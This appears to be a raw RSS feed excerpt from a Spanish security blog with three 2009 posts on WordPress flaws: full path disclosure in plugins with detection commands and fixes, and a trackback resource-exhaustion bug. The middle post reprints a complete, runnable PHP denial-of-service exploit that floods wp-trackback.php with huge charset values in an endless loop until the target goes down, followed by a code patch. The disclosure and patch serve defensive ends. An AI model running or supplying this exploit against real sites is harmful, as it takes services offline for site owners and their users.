<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_ADMIN&#8217;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_USE_THEMES&#8217;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">;<span class="co1">//coninue</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>o bien</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;ABSPATH&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: <a href="http://rollanwar.net" target="_blank">http://rollanwar.net</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmas-full-path-disclosure-en-wordpress-y-sin-solucion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"  data-text="Más Full Path Disclosure en WordPress y sin solución" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"  data-text="Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en la mayoría de los plugins para WordPress</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:34:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=948</guid>
		<description><![CDATA[Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados. Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.<br />
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad <a href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/" target="_blank">Full Path Disclosure (FPD)</a> que afecta a la mayoría de los plugins de <a href="http://wordpress.com" target="_blank">WordPress</a>, incluyendo al &#8220;Hello Dolly&#8221; y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:</p>
<blockquote><p><strong>Fatal error</strong>:  Call to undefined function add_action() in <strong>/home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php</strong> on line <strong>26</strong></p></blockquote>
<p>Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.</p>
<p><span id="more-948"></span></p>
<p>Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$wpcom_api_key</span>, <span class="re0">$akismet_api_host</span>, <span class="re0">$akismet_api_port</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$wpcom_api_key</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = <span class="re0">$wpcom_api_key</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = get_option<span class="br0">&#40;</span><span class="st0">&#8216;wordpress_api_key&#8217;</span><span class="br0">&#41;</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_port</span> = <span class="nu0">80</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_config_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_stats_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; akismet_admin_warnings<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">add_action<span class="br0">&#40;</span><span class="st0">&#8216;init&#8217;</span>, <span class="st0">&#8216;akismet_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_admin_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span> <span class="st0">&#8216;get_plugin_page_hook&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = get_plugin_page_hook<span class="br0">&#40;</span> <span class="st0">&#8216;akismet-stats-display&#8217;</span>, <span class="st0">&#8216;index.php&#8217;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = <span class="st0">&#8216;dashboard_page_akismet-stats-display&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_head-&#8217;</span>.<span class="re0">$hook</span>, <span class="st0">&#8216;akismet_stats_script&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_init&#8217;</span>, <span class="st0">&#8216;akismet_admin_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Sólo en esas líneas se hace unas cuantas veces la llamada a la función &#8220;add_action()&#8221; que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en <em>hello.php</em> y en muchos otros plugins muy usados.</p>
<p>Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:</p>
<p><code>find . -name "*.php" -exec grep -H add_action {} \;</code></p>
<p>Y obtendremos un resultado como el siguiente:</p>
<blockquote><p>./wp-gravatar/gravatars.php:add_action(&#8216;admin_menu&#8217;, &#8216;gravatar_admin_menu&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_authdescription_init&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_recent_comments_gravatars_register&#8217;, 1);<br />
./smart-youtube/smartyoutube.php:add_action(&#8216;admin_menu&#8217;, &#8216;yte_add_pages&#8217;);<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;plugins_loaded&#8217;, &#8216;yte_install&#8217; );<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;after_plugin_row&#8217;, &#8216;yte_check_plugin_version&#8217; );<br />
./chili-code-highlighter/chili-code-highlighter.php:add_action( &#8216;plugins_loaded&#8217;, create_function( &#8221;, &#8216;global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();&#8217; ) );<br />
./wp-db-backup/wp-db-backup.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;wpdbBackup_init&#8217;);<br />
./subscribe2/counterwidget.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_s2counter_init&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;init&#8217;, &#8216;A2A_SHARE_SAVE_textdomain&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;the_content&#8217;, &#8216;A2A_SHARE_SAVE_to_bottom_of_content&#8217;, 98);<br />
./add-to-any/add-to-any.php:add_action(&#8216;wp_head&#8217;, &#8216;A2A_SHARE_SAVE_button_css&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_head&#8217;, &#8216;A2A_SHARE_SAVE_admin_head&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_menu&#8217;, &#8216;A2A_SHARE_SAVE_add_menu_link&#8217;);<br />
./creative-commons-license-widget/ccLicense.php:add_action(&#8216;widgets_init&#8217;, &#8216;widget_ccLicense_init&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;init&#8217;, &#8216;init_textdomain&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;admin_menu&#8217;, &#8216;wp_add_related_posts_options_page&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( &#8216;save_post&#8217;, &#8216;vc_twit&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(&#8216;admin_menu&#8217;, &#8216;vc_addTwitterAdminPages&#8217;);<br />
./simplepie-core/simplepie_core.php:add_action(&#8216;admin_menu&#8217;, &#8216;simplepie_core_options&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;publish_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;save_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_page_form&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;init&#8217;, array($aiosp, &#8216;init&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;wp_head&#8217;, array($aiosp, &#8216;wp_head&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;template_redirect&#8217;, array($aiosp, &#8216;template_redirect&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, array($aiosp, &#8216;admin_menu&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, &#8216;aiosp_meta_box_add&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( &#8216;admin_notices&#8217;, &#8216;aioseop_activation_notice&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_init&#8217;, &#8216;ga_admin_init&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_menu&#8217;, &#8216;add_ga_option_page&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;init&#8217;, &#8216;ga_outgoing_links&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;plugin_action_links_&#8217; . plugin_basename(__FILE__), &#8216;ga_filter_plugin_actions&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;wp_ajax_ga_ajax_accounts&#8217;, &#8216;ga_ajax_accounts&#8217;);<br />
./google-analyticator/google-analytics-stats-widget.php:add_action(&#8216;widgets_init&#8217;, &#8216;GoogleStatsWidget_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;akismet_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_init&#8217;, &#8216;akismet_admin_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;wp_set_comment_status&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;edit_comment&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
